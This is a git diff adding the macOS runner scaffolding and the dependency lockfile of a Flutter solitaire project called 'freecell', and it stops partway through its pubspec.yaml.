a/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_32.png b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_32.png new file mode 100644 index 0000000..f083318 Binary files /dev/null and b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_32.png differ diff --git a/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_512.png b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_512.png new file mode 100644 index 0000000..326c0e7 Binary files /dev/null and b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_512.png differ diff --git a/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_64.png b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_64.png new file mode 100644 index 0000000..2f1632c Binary files /dev/null and b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_64.png differ diff --git a/macos/Runner/Base.lproj/MainMenu.xib b/macos/Runner/Base.lproj/MainMenu.xib new file mode 100644 index 0000000..4632c69 --- /dev/null +++ b/macos/Runner/Base.lproj/MainMenu.xib @@ -0,0 +1,343 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/macos/Runner/Configs/AppInfo.xcconfig b/macos/Runner/Configs/AppInfo.xcconfig new file mode 100644 index 0000000..9a6077b --- /dev/null +++ b/macos/Runner/Configs/AppInfo.xcconfig @@ -0,0 +1,14 @@ +// Application-level settings for the Runner target. +// +// This may be replaced with something auto-generated from metadata (e.g., pubspec.yaml) in the +// future. If not, the values below would default to using the project name when this becomes a +// 'flutter create' template. + +// The application's name. By default this is also the title of the Flutter window. +PRODUCT_NAME = freecell + +// The application's bundle identifier +PRODUCT_BUNDLE_IDENTIFIER = com.example.freecell + +// The copyright displayed in application information +PRODUCT_COPYRIGHT = Copyright © 2026 com.example. All rights reserved. diff --git a/macos/Runner/Configs/Debug.xcconfig b/macos/Runner/Configs/Debug.xcconfig new file mode 100644 index 0000000..b398823 --- /dev/null +++ b/macos/Runner/Configs/Debug.xcconfig @@ -0,0 +1,2 @@ +#include "../../Flutter/Flutter-Debug.xcconfig" +#include "Warnings.xcconfig" diff --git a/macos/Runner/Configs/Release.xcconfig b/macos/Runner/Configs/Release.xcconfig new file mode 100644 index 0000000..d93e5dc --- /dev/null +++ b/macos/Runner/Configs/Release.xcconfig @@ -0,0 +1,2 @@ +#include "../../Flutter/Flutter-Release.xcconfig" +#include "Warnings.xcconfig" diff --git a/macos/Runner/Configs/Warnings.xcconfig b/macos/Runner/Configs/Warnings.xcconfig new file mode 100644 index 0000000..fb4d7d3 --- /dev/null +++ b/macos/Runner/Configs/Warnings.xcconfig @@ -0,0 +1,13 @@ +WARNING_CFLAGS = -Wall -Wconditional-uninitialized -Wnullable-to-nonnull-conversion -Wmissing-method-return-type -Woverlength-strings +GCC_WARN_UNDECLARED_SELECTOR = YES +CLANG_UNDEFINED_BEHAVIOR_SANITIZER_NULLABILITY = YES +CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE +CLANG_WARN__DUPLICATE_METHOD_MATCH = YES +CLANG_WARN_PRAGMA_PACK = YES +CLANG_WARN_STRICT_PROTOTYPES = YES +CLANG_WARN_COMMA = YES +GCC_WARN_STRICT_SELECTOR_MATCH = YES +CLANG_WARN_OBJC_REPEATED_USE_OF_WEAK = YES +CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES +GCC_WARN_SHADOW = YES +CLANG_WARN_UNREACHABLE_CODE = YES diff --git a/macos/Runner/DebugProfile.entitlements b/macos/Runner/DebugProfile.entitlements new file mode 100644 index 0000000..51d0967 --- /dev/null +++ b/macos/Runner/DebugProfile.entitlements @@ -0,0 +1,12 @@ + + + + + com.apple.security.app-sandbox + + com.apple.security.cs.allow-jit + + com.apple.security.network.server + + + diff --git a/macos/Runner/Info.plist b/macos/Runner/Info.plist new file mode 100644 index 0000000..3733c1a --- /dev/null +++ b/macos/Runner/Info.plist @@ -0,0 +1,32 @@ + + + + + CFBundleDevelopmentRegion + $(DEVELOPMENT_LANGUAGE) + CFBundleExecutable + $(EXECUTABLE_NAME) + CFBundleIconFile + + CFBundleIdentifier + $(PRODUCT_BUNDLE_IDENTIFIER) + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + $(PRODUCT_NAME) + CFBundlePackageType + APPL + CFBundleShortVersionString + $(FLUTTER_BUILD_NAME) + CFBundleVersion + $(FLUTTER_BUILD_NUMBER) + LSMinimumSystemVersion + $(MACOSX_DEPLOYMENT_TARGET) + NSHumanReadableCopyright + $(PRODUCT_COPYRIGHT) + NSMainNibFile + MainMenu + NSPrincipalClass + NSApplication + + diff --git a/macos/Runner/MainFlutterWindow.swift b/macos/Runner/MainFlutterWindow.swift new file mode 100644 index 0000000..ab30cba --- /dev/null +++ b/macos/Runner/MainFlutterWindow.swift @@ -0,0 +1,15 @@ +import Cocoa +import FlutterMacOS + +class MainFlutterWindow: NSWindow { + override func awakeFromNib() { + let flutterViewController = FlutterViewController() + let windowFrame = self.frame + self.contentViewController = flutterViewController + self.setFrame(windowFrame, display: true) + + RegisterGeneratedPlugins(registry: flutterViewController) + + super.awakeFromNib() + } +} diff --git a/macos/Runner/Release.entitlements b/macos/Runner/Release.entitlements new file mode 100644 index 0000000..04336df --- /dev/null +++ b/macos/Runner/Release.entitlements @@ -0,0 +1,8 @@ + + + + + com.apple.security.app-sandbox + + + diff --git a/macos/RunnerTests/RunnerTests.swift b/macos/RunnerTests/RunnerTests.swift new file mode 100644 index 0000000..21fe1ab --- /dev/null +++ b/macos/RunnerTests/RunnerTests.swift @@ -0,0 +1,12 @@ +import Cocoa +import FlutterMacOS +import XCTest + +class RunnerTests: XCTestCase { + + func testExample() { + // If you add code to the Runner application, consider adding tests here. + // See https://developer.apple.com/documentation/xctest for more information about using XCTest. + } + +} diff --git a/pubspec.lock b/pubspec.lock new file mode 100644 index 0000000..d0ee083 --- /dev/null +++ b/pubspec.lock @@ -0,0 +1,826 @@ +# Generated by pub +# See https://dart.dev/tools/pub/glossary#lockfile +packages: + adjust_sdk: + dependency: "direct main" + description: + name: adjust_sdk + sha256: "5bd20ab37263d41c7b3e2016dd09a70e5f828051c71cec37bf19d91538c95641" + url: "https://pub.flutter-io.cn" + source: hosted + version: "5.6.2" + android_id: + dependency: "direct main" + description: + name: android_id + sha256: "50d62501d623a7e7358b3ceffd1bdd9b420292eba66cec8347d33ed10791f28e" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.5.1" + args: + dependency: transitive + description: + name: args + sha256: d0481093c50b1da8910eb0bb301626d4d8eb7284aa739614d2b394ee09e3ea04 + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.7.0" + async: + dependency: transitive + description: + name: async + sha256: e2eb0491ba5ddb6177742d2da23904574082139b07c1e33b8503b9f46f3e1a37 + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.13.1" + audioplayers: + dependency: "direct main" + description: + name: audioplayers + sha256: a72dd459d1a48f61a6fb9c0134dba26597c9236af40639ff0eb70eb4e0baab70 + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.6.0" + audioplayers_android: + dependency: transitive + description: + name: audioplayers_android + sha256: "60a6728277228413a85755bd3ffd6fab98f6555608923813ce383b190a360605" + url: "https://pub.flutter-io.cn" + source: hosted + version: "5.2.1" + audioplayers_darwin: + dependency: transitive + description: + name: audioplayers_darwin + sha256: c994b3bb3a921e4904ac40e013fbc94488e824fd7c1de6326f549943b0b44a91 + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.4.0" + audioplayers_linux: + dependency: transitive + description: + name: audioplayers_linux + sha256: f75bce1ce864170ef5e6a2c6a61cd3339e1a17ce11e99a25bae4474ea491d001 + url: "https://pub.flutter-io.cn" + source: hosted + version: "4.2.1" + audioplayers_platform_interface: + dependency: transitive + description: + name: audioplayers_platform_interface + sha256: "0e2f6a919ab56d0fec272e801abc07b26ae7f31980f912f24af4748763e5a656" + url: "https://pub.flutter-io.cn" + source: hosted + version: "7.1.1" + audioplayers_web: + dependency: transitive + description: + name: audioplayers_web + sha256: faa8fa6587f996a6f604433b53af44c57a1407d4fe8dff5766cf63d6875e8de9 + url: "https://pub.flutter-io.cn" + source: hosted + version: "5.2.0" + audioplayers_windows: + dependency: transitive + description: + name: audioplayers_windows + sha256: bafff2b38b6f6d331887558ba6e0a01c9c208d9dbb3ad0005234db065122a734 + url: "https://pub.flutter-io.cn" + source: hosted + version: "4.3.0" + boolean_selector: + dependency: transitive + description: + name: boolean_selector + sha256: "8aab1771e1243a5063b8b0ff68042d67334e3feab9e95b9490f9a6ebf73b42ea" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.1.2" + characters: + dependency: transitive + description: + name: characters + sha256: faf38497bda5ead2a8c7615f4f7939df04333478bf32e4173fcb06d428b5716b + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.4.1" + clock: + dependency: transitive + description: + name: clock + sha256: fddb70d9b5277016c77a80201021d40a2247104d9f4aa7bab7157b7e3f05b84b + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.2" + code_assets: + dependency: transitive + description: + name: code_assets + sha256: "83ccdaa064c980b5596c35dd64a8d3ecc68620174ab9b90b6343b753aa721687" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.0.0" + collection: + dependency: transitive + description: + name: collection + sha256: "2f5709ae4d3d59dd8f7cd309b4e023046b57d8a6c82130785d2b0e5868084e76" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.19.1" + convert: + dependency: transitive + description: + name: convert + sha256: b30acd5944035672bc15c6b7a8b47d773e41e2f17de064350988c5d02adb1c68 + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.1.2" + crypto: + dependency: transitive + description: + name: crypto + sha256: c8ea0233063ba03258fbcf2ca4d6dadfefe14f02fab57702265467a19f27fadf + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.0.7" + cupertino_icons: + dependency: "direct main" + description: + name: cupertino_icons + sha256: "41e005c33bd814be4d3096aff55b1908d419fde52ca656c8c47719ec745873cd" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.0.9" + device_info_plus: + dependency: "direct main" + description: + name: device_info_plus + sha256: b4fed1b2835da9d670d7bed7db79ae2a94b0f5ad6312268158a9b5479abbacdd + url: "https://pub.flutter-io.cn" + source: hosted + version: "12.4.0" + device_info_plus_platform_interface: + dependency: transitive + description: + name: device_info_plus_platform_interface + sha256: e1ea89119e34903dca74b883d0dd78eb762814f97fb6c76f35e9ff74d261a18f + url: "https://pub.flutter-io.cn" + source: hosted + version: "7.0.3" + fake_async: + dependency: transitive + description: + name: fake_async + sha256: "5368f224a74523e8d2e7399ea1638b37aecfca824a3cc4dfdf77bf1fa905ac44" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.3.3" + ffi: + dependency: transitive + description: + name: ffi + sha256: "6d7fd89431262d8f3125e81b50d3847a091d846eafcd4fdb88dd06f36d705a45" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.2.0" + file: + dependency: transitive + description: + name: file + sha256: a3b4f84adafef897088c160faf7dfffb7696046cb13ae90b508c2cbc95d3b8d4 + url: "https://pub.flutter-io.cn" + source: hosted + version: "7.0.1" + fixnum: + dependency: transitive + description: + name: fixnum + sha256: b6dc7065e46c974bc7c5f143080a6764ec7a4be6da1285ececdc37be96de53be + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.1" + flame: + dependency: "direct main" + description: + name: flame + sha256: b9e65f6d7d06a301d6ea3cde03731cad3cdc255d56e0fb53c56c1e7806aaaf6a + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.37.0" + flutter: + dependency: "direct main" + description: flutter + source: sdk + version: "0.0.0" + flutter_inappwebview: + dependency: "direct main" + description: + name: flutter_inappwebview + sha256: "80092d13d3e29b6227e25b67973c67c7210bd5e35c4b747ca908e31eb71a46d5" + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.1.5" + flutter_inappwebview_android: + dependency: transitive + description: + name: flutter_inappwebview_android + sha256: "62557c15a5c2db5d195cb3892aab74fcaec266d7b86d59a6f0027abd672cddba" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.3" + flutter_inappwebview_internal_annotations: + dependency: transitive + description: + name: flutter_inappwebview_internal_annotations + sha256: e30fba942e3debea7b7e6cdd4f0f59ce89dd403a9865193e3221293b6d1544c6 + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.3.0" + flutter_inappwebview_ios: + dependency: transitive + description: + name: flutter_inappwebview_ios + sha256: "5818cf9b26cf0cbb0f62ff50772217d41ea8d3d9cc00279c45f8aabaa1b4025d" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.2" + flutter_inappwebview_macos: + dependency: transitive + description: + name: flutter_inappwebview_macos + sha256: c1fbb86af1a3738e3541364d7d1866315ffb0468a1a77e34198c9be571287da1 + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.2" + flutter_inappwebview_platform_interface: + dependency: transitive + description: + name: flutter_inappwebview_platform_interface + sha256: cf5323e194096b6ede7a1ca808c3e0a078e4b33cc3f6338977d75b4024ba2500 + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.3.0+1" + flutter_inappwebview_web: + dependency: transitive + description: + name: flutter_inappwebview_web + sha256: "55f89c83b0a0d3b7893306b3bb545ba4770a4df018204917148ebb42dc14a598" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.2" + flutter_inappwebview_windows: + dependency: transitive + description: + name: flutter_inappwebview_windows + sha256: "8b4d3a46078a2cdc636c4a3d10d10f2a16882f6be607962dbfff8874d1642055" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.6.0" + flutter_lints: + dependency: "direct dev" + description: + name: flutter_lints + sha256: "3105dc8492f6183fb076ccf1f351ac3d60564bff92e20bfc4af9cc1651f4e7e1" + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.0.0" + flutter_test: + dependency: "direct dev" + description: flutter + source: sdk + version: "0.0.0" + flutter_vpn_detector: + dependency: "direct main" + description: + name: flutter_vpn_detector + sha256: f68a476df2aa6539f65f549c17a19e1bd210f78ff9e0345468c0575b67c1f746 + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.1.5" + flutter_web_plugins: + dependency: transitive + description: flutter + source: sdk + version: "0.0.0" + glob: + dependency: transitive + description: + name: glob + sha256: c3f1ee72c96f8f78935e18aa8cecced9ab132419e8625dc187e1c2408efc20de + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.1.3" + hooks: + dependency: transitive + description: + name: hooks + sha256: "025f060e86d2d4c3c47b56e33caf7f93bf9283340f26d23424ebcfccf34f621e" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.0.3" + http: + dependency: "direct main" + description: + name: http + sha256: "87721a4a50b19c7f1d49001e51409bddc46303966ce89a65af4f4e6004896412" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.6.0" + http_parser: + dependency: transitive + description: + name: http_parser + sha256: "178d74305e7866013777bab2c3d8726205dc5a4dd935297175b19a23a2e66571" + url: "https://pub.flutter-io.cn" + source: hosted + version: "4.1.2" + jni: + dependency: transitive + description: + name: jni + sha256: c2230682d5bc2362c1c9e8d3c7f406d9cbba23ab3f2e203a025dd47e0fb2e68f + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.0.0" + jni_flutter: + dependency: transitive + description: + name: jni_flutter + sha256: "8b59e590786050b1cd866677dddaf76b1ade5e7bc751abe04b86e84d379d3ba6" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.0.1" + leak_tracker: + dependency: transitive + description: + name: leak_tracker + sha256: "33e2e26bdd85a0112ec15400c8cbffea70d0f9c3407491f672a2fad47915e2de" + url: "https://pub.flutter-io.cn" + source: hosted + version: "11.0.2" + leak_tracker_flutter_testing: + dependency: transitive + description: + name: leak_tracker_flutter_testing + sha256: "1dbc140bb5a23c75ea9c4811222756104fbcd1a27173f0c34ca01e16bea473c1" + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.0.10" + leak_tracker_testing: + dependency: transitive + description: + name: leak_tracker_testing + sha256: "8d5a2d49f4a66b49744b23b018848400d23e54caf9463f4eb20df3eb8acb2eb1" + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.0.2" + lints: + dependency: transitive + description: + name: lints + sha256: "12f842a479589fea194fe5c5a3095abc7be0c1f2ddfa9a0e76aed1dbd26a87df" + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.1.0" + logging: + dependency: transitive + description: + name: logging + sha256: c8245ada5f1717ed44271ed1c26b8ce85ca3228fd2ffdb75468ab01979309d61 + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.3.0" + matcher: + dependency: transitive + description: + name: matcher + sha256: dc0b7dc7651697ea4ff3e69ef44b0407ea32c487a39fff6a4004fa585e901861 + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.12.19" + material_color_utilities: + dependency: transitive + description: + name: material_color_utilities + sha256: "9c337007e82b1889149c82ed242ed1cb24a66044e30979c44912381e9be4c48b" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.13.0" + meta: + dependency: transitive + description: + name: meta + sha256: "1741988757a65eb6b36abe716829688cf01910bbf91c34354ff7ec1c3de2b349" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.18.0" + native_toolchain_c: + dependency: transitive + description: + name: native_toolchain_c + sha256: "6ba77bb18063eebe9de401f5e6437e95e1438af0a87a3a39084fbd37c90df572" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.17.6" + objective_c: + dependency: transitive + description: + name: objective_c + sha256: "100a1c87616ab6ed41ec263b083c0ef3261ee6cd1dc3b0f35f8ddfa4f996fe52" + url: "https://pub.flutter-io.cn" + source: hosted + version: "9.3.0" + ordered_set: + dependency: transitive + description: + name: ordered_set + sha256: d6c1d053a533e84931a388cbf03f1ad21a0543bf06c7a281859d3ffacd8e15f2 + url: "https://pub.flutter-io.cn" + source: hosted + version: "8.0.0" + package_config: + dependency: transitive + description: + name: package_config + sha256: f096c55ebb7deb7e384101542bfba8c52696c1b56fca2eb62827989ef2353bbc + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.2.0" + package_info_plus: + dependency: "direct main" + description: + name: package_info_plus + sha256: "468c26b4254ab01979fa5e4a98cb343ea3631b9acee6f21028997419a80e1a20" + url: "https://pub.flutter-io.cn" + source: hosted + version: "9.0.1" + package_info_plus_platform_interface: + dependency: transitive + description: + name: package_info_plus_platform_interface + sha256: "202a487f08836a592a6bd4f901ac69b3a8f146af552bbd14407b6b41e1c3f086" + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.2.1" + path: + dependency: transitive + description: + name: path + sha256: "75cca69d1490965be98c73ceaea117e8a04dd21217b37b292c9ddbec0d955bc5" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.9.1" + path_provider: + dependency: transitive + description: + name: path_provider + sha256: "50c5dd5b6e1aaf6fb3a78b33f6aa3afca52bf903a8a5298f53101fdaee55bbcd" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.1.5" + path_provider_android: + dependency: transitive + description: + name: path_provider_android + sha256: "69cbd515a62b94d32a7944f086b2f82b4ac40a1d45bebfc00813a430ab2dabcd" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.3.1" + path_provider_foundation: + dependency: transitive + description: + name: path_provider_foundation + sha256: "2a376b7d6392d80cd3705782d2caa734ca4727776db0b6ec36ef3f1855197699" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.6.0" + path_provider_linux: + dependency: transitive + description: + name: path_provider_linux + sha256: f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279 + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.2.1" + path_provider_platform_interface: + dependency: transitive + description: + name: path_provider_platform_interface + sha256: "88f5779f72ba699763fa3a3b06aa4bf6de76c8e5de842cf6f29e2e06476c2334" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.1.2" + path_provider_windows: + dependency: transitive + description: + name: path_provider_windows + sha256: bd6f00dbd873bfb70d0761682da2b3a2c2fccc2b9e84c495821639601d81afe7 + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.3.0" + platform: + dependency: transitive + description: + name: platform + sha256: "5d6b1b0036a5f331ebc77c850ebc8506cbc1e9416c27e59b439f917a902a4984" + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.1.6" + play_install_referrer: + dependency: "direct main" + description: + name: play_install_referrer + sha256: "7dd808236d35d15199d5e7a5b55488e4343c1b67c4694902d6b95196b22b19cd" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.5.0" + plugin_platform_interface: + dependency: transitive + description: + name: plugin_platform_interface + sha256: "4820fbfdb9478b1ebae27888254d445073732dae3d6ea81f0b7e06d5dedc3f02" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.1.8" + pointycastle: + dependency: "direct main" + description: + name: pointycastle + sha256: "92aa3841d083cc4b0f4709b5c74fd6409a3e6ba833ffc7dc6a8fee096366acf5" + url: "https://pub.flutter-io.cn" + source: hosted + version: "4.0.0" + pub_semver: + dependency: transitive + description: + name: pub_semver + sha256: "5bfcf68ca79ef689f8990d1160781b4bad40a3bd5e5218ad4076ddb7f4081585" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.2.0" + record_use: + dependency: transitive + description: + name: record_use + sha256: "2551bd8eecfe95d14ae75f6021ad0248be5c27f138c2ec12fcb52b500b3ba1ed" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.6.0" + shared_preferences: + dependency: "direct main" + description: + name: shared_preferences + sha256: c3025c5534b01739267eb7d76959bbc25a6d10f6988e1c2a3036940133dd10bf + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.5.5" + shared_preferences_android: + dependency: transitive + description: + name: shared_preferences_android + sha256: e8d4762b1e2e8578fc4d0fd548cebf24afd24f49719c08974df92834565e2c53 + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.4.23" + shared_preferences_foundation: + dependency: transitive + description: + name: shared_preferences_foundation + sha256: "4e7eaffc2b17ba398759f1151415869a34771ba11ebbccd1b0145472a619a64f" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.5.6" + shared_preferences_linux: + dependency: transitive + description: + name: shared_preferences_linux + sha256: "580abfd40f415611503cae30adf626e6656dfb2f0cee8f465ece7b6defb40f2f" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.4.1" + shared_preferences_platform_interface: + dependency: transitive + description: + name: shared_preferences_platform_interface + sha256: "649dc798a33931919ea356c4305c2d1f81619ea6e92244070b520187b5140ef9" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.4.2" + shared_preferences_web: + dependency: transitive + description: + name: shared_preferences_web + sha256: c49bd060261c9a3f0ff445892695d6212ff603ef3115edbb448509d407600019 + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.4.3" + shared_preferences_windows: + dependency: transitive + description: + name: shared_preferences_windows + sha256: "94ef0f72b2d71bc3e700e025db3710911bd51a71cefb65cc609dd0d9a982e3c1" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.4.1" + sky_engine: + dependency: transitive + description: flutter + source: sdk + version: "0.0.0" + source_span: + dependency: transitive + description: + name: source_span + sha256: "56a02f1f4cd1a2d96303c0144c93bd6d909eea6bee6bf5a0e0b685edbd4c47ab" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.10.2" + stack_trace: + dependency: transitive + description: + name: stack_trace + sha256: "8b27215b45d22309b5cddda1aa2b19bdfec9df0e765f2de506401c071d38d1b1" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.12.1" + stream_channel: + dependency: transitive + description: + name: stream_channel + sha256: "969e04c80b8bcdf826f8f16579c7b14d780458bd97f56d107d3950fdbeef059d" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.1.4" + string_scanner: + dependency: transitive + description: + name: string_scanner + sha256: "921cd31725b72fe181906c6a94d987c78e3b98c2e205b397ea399d4054872b43" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.4.1" + synchronized: + dependency: transitive + description: + name: synchronized + sha256: "63896c27e81b28f8cb4e69ead0d3e8f03f1d1e5fc531a3e579cabed6a2c7c9e5" + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.4.0+1" + term_glyph: + dependency: transitive + description: + name: term_glyph + sha256: "7f554798625ea768a7518313e58f83891c7f5024f88e46e7182a4558850a4b8e" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.2.2" + test_api: + dependency: transitive + description: + name: test_api + sha256: "949a932224383300f01be9221c39180316445ecb8e7547f70a41a35bf421fb9e" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.7.11" + typed_data: + dependency: transitive + description: + name: typed_data + sha256: f9049c039ebfeb4cf7a7104a675823cd72dba8297f264b6637062516699fa006 + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.4.0" + url_launcher: + dependency: "direct main" + description: + name: url_launcher + sha256: f6a7e5c4835bb4e3026a04793a4199ca2d14c739ec378fdfe23fc8075d0439f8 + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.3.2" + url_launcher_android: + dependency: "direct main" + description: + name: url_launcher_android + sha256: "3bb000251e55d4a209aa0e2e563309dc9bb2befea2295fd0cec1f51760aac572" + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.3.29" + url_launcher_ios: + dependency: transitive + description: + name: url_launcher_ios + sha256: "580fe5dfb51671ae38191d316e027f6b76272b026370708c2d898799750a02b0" + url: "https://pub.flutter-io.cn" + source: hosted + version: "6.4.1" + url_launcher_linux: + dependency: transitive + description: + name: url_launcher_linux + sha256: d5e14138b3bc193a0f63c10a53c94b91d399df0512b1f29b94a043db7482384a + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.2.2" + url_launcher_macos: + dependency: transitive + description: + name: url_launcher_macos + sha256: "368adf46f71ad3c21b8f06614adb38346f193f3a59ba8fe9a2fd74133070ba18" + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.2.5" + url_launcher_platform_interface: + dependency: transitive + description: + name: url_launcher_platform_interface + sha256: "552f8a1e663569be95a8190206a38187b531910283c3e982193e4f2733f01029" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.3.2" + url_launcher_web: + dependency: transitive + description: + name: url_launcher_web + sha256: d0412fcf4c6b31ecfdb7762359b7206ffba3bbffd396c6d9f9c4616ece476c1f + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.4.2" + url_launcher_windows: + dependency: transitive + description: + name: url_launcher_windows + sha256: "712c70ab1b99744ff066053cbe3e80c73332b38d46e5e945c98689b2e66fc15f" + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.1.5" + uuid: + dependency: "direct main" + description: + name: uuid + sha256: "1fef9e8e11e2991bb773070d4656b7bd5d850967a2456cfc83cf47925ba79489" + url: "https://pub.flutter-io.cn" + source: hosted + version: "4.5.3" + vector_math: + dependency: transitive + description: + name: vector_math + sha256: d530bd74fea330e6e364cda7a85019c434070188383e1cd8d9777ee586914c5b + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.2.0" + vm_service: + dependency: transitive + description: + name: vm_service + sha256: "0016aef94fc66495ac78af5859181e3f3bf2026bd8eecc72b9565601e19ab360" + url: "https://pub.flutter-io.cn" + source: hosted + version: "15.2.0" + web: + dependency: transitive + description: + name: web + sha256: "868d88a33d8a87b18ffc05f9f030ba328ffefba92d6c127917a2ba740f9cfe4a" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.1" + win32: + dependency: transitive + description: + name: win32 + sha256: d7cb55e04cd34096cd3a79b3330245f54cb96a370a1c27adb3c84b917de8b08e + url: "https://pub.flutter-io.cn" + source: hosted + version: "5.15.0" + win32_registry: + dependency: transitive + description: + name: win32_registry + sha256: "6f1b564492d0147b330dd794fee8f512cec4977957f310f9951b5f9d83618dae" + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.1.0" + xdg_directories: + dependency: transitive + description: + name: xdg_directories + sha256: "7a3f37b05d989967cdddcbb571f1ea834867ae2faa29725fd085180e0883aa15" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.1.0" + yaml: + dependency: transitive + description: + name: yaml + sha256: b9da305ac7c39faa3f030eccd175340f968459dae4af175130b3fc47e40d76ce + url: "https://pub.flutter-io.cn" + source: hosted + version: "3.1.3" +sdks: + dart: ">=3.11.4 <4.0.0" + flutter: ">=3.41.0" diff --git a/pubspec.yaml b/pubspec.yaml new file mode 100644 index 0000000..2508ded --- /dev/null +++ b/pubspec.yaml @@ -0,0 +1,110 @@ +name: freecell +description: "A new Flutter project." +# The following line prevents the package from being accidentally published to +# pub.dev using `flutter pub publish`. This is preferred for private packages. +publish_to: 'none' # Remove this line if you wish to publish to pub.dev + +# The following defines the version and build number for your application. +# A version number is three numbers separated by dots, like 1.2.43 +# followed by an optional build number separated by a +. +# Both the version and the builder number may be overridden in flutter +# build by specifying --build-name and --build-number, respectively. +# In Android, build-name is used as versionName while build-number used as versionCode. +# Read more about Android versioning at https://developer.android.com/studio/publish/versioning +# In iOS, build-name is used as CFBundleShortVersionString while build-number is used as CFBundleVersion. +# Read more about 